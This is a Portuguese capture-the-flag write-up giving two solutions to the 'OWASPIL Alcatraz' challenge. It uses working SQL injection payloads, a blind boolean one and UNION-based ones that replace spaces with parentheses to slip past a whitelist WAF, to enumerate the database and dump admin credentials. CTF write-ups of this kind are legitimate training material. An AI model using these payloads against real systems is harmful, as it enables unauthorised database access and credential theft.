OWASPIL Alcatraz
Este desafio lida com SQL Injection e WAF Bypass usando o método White List.
Resolvendo o desafio:
Antes de prosseguirmos para a injeção de SQL, devemos primeiro localizar o usuário que é o administrador; isso pode ser feito facilmente analisando todos os IDs do sistema usando o Intruder, conforme mostrado no vídeo.
Em seguida, precisamos encontrar um método pelo qual possamos extrair sua senha que será injetando ao parâmetro id assim:
`` http://challenges.owaspil.ctf.today:8081/profile.php?id=1'`
Não há uma resposta direta para isso - a solução para o desafio será em forma SQL Injection:
Enquanto trabalhamos com um payload, descobrimos que há uma complicação no desafio - WAF. Qualquer trabalho com WAF, a primeira etapa é entender com qual método WAF é utilizado (white/black list) E, consequentemente, aprender como funciona o WAF. Descobrimos rapidamente que o WAF funciona com o método da Lista Branca e principalmente proíbe espaços, aspas, %29-%20 E os outros sinais especiais.
Então, o que é permitido? Parênteses, vírgulas, dígitos e letras. E se letras são permitidas, então certamente funções SQL nativas como instr, strcmp, substr, char etc podem ser usadas'.
Uma explicação das funções que usamos:
Função if:
A função if verifica se uma condição retorna uma resposta positiva ou uma terceira e executa a instrução de acordo
`` if (condition, case true, case false)`
Função instr:
A função instr retorna verdadeiro se str2 estiver contido em str1.
`` instr(str1, str2)`
Função substring:
A função corta a string str da posição from e ao longo do length e retorna a string secundária.
`` substring(str, from, length)`
Função chr:
A função char obtém um número e retorna a representação ascii do número de acordo com o valor decimal.
`` chr(79)`
Então, criamos o payload (carga útil) que pega o 1º caractere da senha e o compara a um caractere cujo valor hexadecimal é 79, se os caracteres forem iguais, retornamos 13 no id que nos mostra a página do administrador, caso contrário, retornaremos 0 que nos mostrará um usuário inexistente:
`` if(instr(substring(password,1,1),char(79)),13,0)`
"Vamos passá-lo ao intruder do burp e ver os resultados:
Percebe-se que os valores 79 e 111 voltaram para nós, sinal de que o primeiro caractere é – O Uma vez que o comando instr não faz distinção entre maiúsculas e minúsculas, continuamos com todos os caracteres da senha e obtemos a seguinte bandeira:
`` OWASP-IL{I_am_the_WAF_bypass_master!}`
Aqui está outra solução para o desafio de Avishai Ruby
Boa leitura
O desafio começa no seguinte endereço, conforme Roman demonstrou:
`` http://challenges.owaspil.ctf.today:8081/profile.php?id=1`
À primeira vista, o URL pode ser visto que o desafio provavelmente está relacionado ao SQLi tanto pelo formato do endereço quanto pela descrição do desafio.
Tivemos mais certesa ainda quando colocamos uma aspa após o parâmetro ID e obtemos um erro SQL
`` http://challenges.owaspil.ctf.today:8081/profile.php?id=1'`
Pelo erro pode-se verificar que trata-se de um banco de dados MariaDB. A primeira coisa a fazer é encontrar o número de colunas usando order by ou group by
`` http://challenges.owaspil.ctf.today:8081/profile.php?id=1 group by 99`
Essa tentativa falhou porque o desafio definiu WAF, que bloqueia espaços, certos caracteres e sinais especiais. Como o espaço e os caracteres especiais são bloqueados e não podemos ignorar o bloqueio diretamente, não podemos executar os métodos usuais de contagem de colunas, como group by / order by / procedure analyzeEtc'.
Portanto, passaremos para um método de conversão baseado em União para o número de colunas e, em nosso caso, ele fica em 8.
Iremos contornar o bloqueio de espaços usando parênteses da seguinte maneira:
`` http://challenges.owaspil.ctf.today:8081/profile.php?id=(null)union(select(1),2,3,4,5,6,7,8)`
Usaremos a coluna número 7, que se reflete na página.
Para extrair os nomes das tabelas, executaremos a seguinte consulta: `` select table_name from information_schema.tables`
Dentro do banco de dados information_schema existe uma tabela chamada tables que contém todos os nomes das tabelas.
O problema é que ele também contém as tabelas do banco de dados information_schema e atualmente não estamos interessados nessas tabelas..
Normalmente, para remover somente as tabelas relevantes, usaremos a seguinte condição-
`` where table_schema=database()`
Mas antes de usarmos isso, vamos primeiro descartar que há mais de um banco de dados (Não incluindo information_schema)
`` http://challenges.owaspil.ctf.today:8081/profile.php?id=(null)union(select(1),2,3,4,5,6,count(schema_name),(8)from(information_schema.schemata))`
Se olharmos para o resultado parece que existem 2 bancos de dados, e é possível usar a condição.
Usaremos group_concat para reunir todos os nomes das tabelas.
`` http://challenges.owaspil.ctf.today:8081/profile.php?id=(null)union(select(1),2,3,4,5,6,group_concat(table_name),(8)from(information_schema.tables)where(table_schema)like(database()))`
E parece haver apenas uma tabela no banco de dados que é "Employees"
Vamos passar para a extração de suas colunas usando information_schema, observe que o nome da tabela será escrito no valor hexadecimal para ignorar o magic_quotes.
`` http://challenges.owaspil.ctf.today:8081/profile.php?id=(null)union(select(1),2,3,4,5,6,group_concat(column_name),(8)from(information_schema.columns)where(table_name)like(0x456d706c6f79656573))`
E agora iremos emitir as colunas de nome de usuário e senha apenas quando o job_title for admin.
Usei group_concat para isso porque podemos ter mais de um usuário administrador no sistema
`` http://challenges.owaspil.ctf.today:8081/profile.php?id=(null)union(select(1),2,3,4,5,6,group_concat(username,0x3a,password),(8)from(employees)where(job_title)like(0x2561646d696e25))`
E foi assim que consegui a bandeira.:
`` OWASP-IL{I_Am_The_WAF_Bypass_Master!}`